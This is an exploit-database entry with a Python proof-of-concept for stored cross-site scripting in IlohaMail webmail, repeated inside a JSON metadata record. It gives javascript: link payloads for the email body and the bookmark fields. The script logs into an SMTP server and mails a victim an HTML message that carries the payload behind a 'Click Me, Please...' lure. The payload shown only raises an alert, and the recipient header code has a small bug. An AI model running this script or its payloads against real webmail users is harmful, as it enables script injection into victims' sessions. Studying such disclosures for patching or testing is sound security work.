ID SSV:74496
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
#!/usr/bin/python
'''
# Exploit Title: IlohaMail Webmail Stored XSS.
# Date: 18/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://sourceforge.net/projects/ilohamail/
# Software Link: http://sourceforge.net/projects/ilohamail/files/IlohaMail-devel/0.9-20050415/
# Version: 0.9-20050415
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar
About the Application:
======================
IlohaMail is a PHP based lightweight full featured multilingual webmail program with IMAP and POP3 support.
IlohaMail also includes a full-featured contacts manager, bookmarks manager, and scheduler.
Vulnerability Description
=========================
1. Stored XSS in e-mail body.
XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>
Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.
2. Stored XSS in Bookmarks.
XSS Payload: <a href=javascript:alert("XSS")>
Vulnerable Fields: Name, Category, URL, RSS/RDF, Comments
Add a new bookmark with the XSS payload in the above fields, XSS Should be triggered.
'''
import smtplib
print "###############################################"
print "# IlohaMail Stored XSS POC #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"
# SETTINGS
sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "192.168.1.10"
smtp_port = 25
subject = "IlohaMail Webmail XSS POC"
# SEND E-MAIL
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
{"type": "seebug", "lastseen": "2017-11-19T13:21:54", "href": "https://www.seebug.org/vuldb/ssvid-74496", "cvss": {"score": 0.0, "vector": "NONE"}, "modified": "2014-07-01T00:00:00", "reporter": "Root", "description": "No description provided by source.", "bulletinFamily": "exploit", "references": [], "viewCount": 104, "status": "poc", "sourceHref": "https://www.seebug.org/vuldb/ssvid-74496", "cvelist": [], "enchantments_done": [], "title": "IlohaMail Webmail Stored XSS", "id": "SSV:74496", "sourceData": "\n #!/usr/bin/python\r\n\r\n'''\r\n# Exploit Title: IlohaMail Webmail Stored XSS.\r\n# Date: 18/08/2012\r\n# Exploit Author: Shai rod (@NightRang3r)\r\n# Vendor Homepage: http://sourceforge.net/projects/ilohamail/\r\n# Software Link: http://sourceforge.net/projects/ilohamail/files/IlohaMail-devel/0.9-20050415/\r\n# Version: 0.9-20050415\r\n\r\n#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar\r\n\r\n\r\nAbout the Application:\r\n======================\r\n\r\nIlohaMail is a PHP based lightweight full featured multilingual webmail program with IMAP and POP3 support. \r\nIlohaMail also includes a full-featured contacts manager, bookmarks manager, and scheduler.\r\n\r\n\r\nVulnerability Description\r\n=========================\r\n\r\n1. Stored XSS in e-mail body.\r\n\r\nXSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>\r\n\r\nSend an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.\r\n\r\n\r\n2. Stored XSS in Bookmarks.\r\n\r\nXSS Payload: <a href=javascript:alert("XSS")>\r\n\r\nVulnerable Fields: Name, Category, URL, RSS/RDF, Comments\r\n\r\nAdd a new bookmark with the XSS payload in the above fields, XSS Should be triggered.\r\n\r\n\r\n'''\r\n\r\nimport smtplib\r\n\r\nprint "###############################################"\r\nprint "# IlohaMail Stored XSS POC #"\r\nprint "# Coded by: Shai rod #"\r\nprint "# @NightRang3r #"\r\nprint "# http://exploit.co.il #"\r\nprint "# For Educational Purposes Only! #"\r\nprint "###############################################\\r\\n"\r\n\r\n# SETTINGS\r\n\r\nsender = "attacker@localhost"\r\nsmtp_login = sender\r\nsmtp_password = "qwe123"\r\nrecipient = "victim@localhost"\r\nsmtp_server = "192.168.1.10"\r\nsmtp_port = 25\r\nsubject = "IlohaMail Webmail XSS POC"\r\n\r\n\r\n# SEND E-MAIL\r\n\r\nprint "[*] Sending E-mail to " + recipient + "..."\r\nmsg = ("From: %s\\r\\nTo: %s\\r\\nSubject: %s\\n"\r\n % (sender, ", ".join(recipient), subject) )\r\nmsg += "Content-type: text/html\\n\\n"\r\nmsg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\\r\\n"""\r\nserver = smtplib.SMTP(smtp_server, smtp_port)\r\nserver.ehlo()\r\nserver.starttls()\r\nserver.login(smtp_login, smtp_password)\r\nserver.sendmail(sender, recipient, msg)\r\nserver.quit()\r\nprint "[+] E-mail sent!"\r\n\r\n\n ", "published": "2014-07-01T00:00:00", "enchantments": {"score": {"value": -0.4, "vector": "NONE", "modified": "2017-11-19T13:21:54", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T13:21:54", "rev": 2}, "vulnersScore": -0.4}}
{}